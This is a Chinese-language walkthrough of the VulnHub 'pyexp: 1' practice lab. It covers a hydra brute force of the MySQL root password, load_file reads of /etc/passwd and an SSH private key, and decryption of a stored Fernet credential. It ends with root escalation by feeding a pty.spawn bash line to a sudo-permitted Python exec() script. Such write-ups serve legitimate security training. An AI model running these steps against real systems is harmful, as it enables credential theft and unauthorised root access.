pyexp: 1靶场渗透
pyexp: 1
来自 <https://www.vulnhub.com/entry/pyexp-1,534/>
该实验室涉及暴力破解 MySQL 根凭据并利用 Fernet 加密的数据库条目来恢复系统用户的密码。权限提升是通过滥用易受攻击的 Python 脚本上的 sudo 权限来实现的,其中未经验证的用户输入通过 exec() 函数执行。
完成本实验后,学习者将能够:
- 执行 Nmap 扫描以识别开放的端口和服务,包括 MySQL 和 SSH。
- 使用 Medusa 等工具暴力破解 MySQL 根凭据并泄露数据库内容。
- 解密 Fernet 加密凭据以获取系统用户的 SSH 登录名。
- 滥用 sudo 权限使用易受攻击的脚本 /opt/exp.py 执行 /usr/bin/python2。
- 通过易受攻击的 exec() 函数执行任意命令,将权限升级到 root。
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.155
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.155
4,使用hydra对mysql的账户密码进行爆破,得到密码prettywoman
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.23.155 mysql -q
尝试登录mysql服务
mysql -h 192.168.23.155 -u root -p --ssl=0
\!来使用系统命令是无法成功的,靶机进行了防护
尝试读取系统敏感文件
select load_file('/etc/passwd');
尝试读取该用户的私钥文件
select load_file('/home/lucy/.ssh/id_rsa');
5,前面的信息收集一无所获。现在开始尝试读取数据库本身的敏感数据
show databases;
use data;
show tables;
select * from fernet;
fernet是一个对称秘钥加解密的算法
https://cryptography.io/en/latest/fernet/
from cryptography.fernet import Fernet
key = Fernet.generate_key()
key
f = Fernet(key)
f
token = f.encrypt(b"my deep dark secret")
token
f.decrypt(token)
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
f.decrypt('gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=')
wJ9`"Lemdv9[FEw-
6,使用该账户密码成功ssh登录lucy用户
ssh lucy@192.168.23.155 -p 1337
信息收集一下,得到第一个flag
sudo -l 查看如何提权
阅读一下该文件
发现是可以执行代码的函数,直接利用python pty模块提权
sudo /usr/bin/python2 /opt/exp.py
import pty;pty.spawn("/bin/bash")
成功提权成为root用户并且得到flag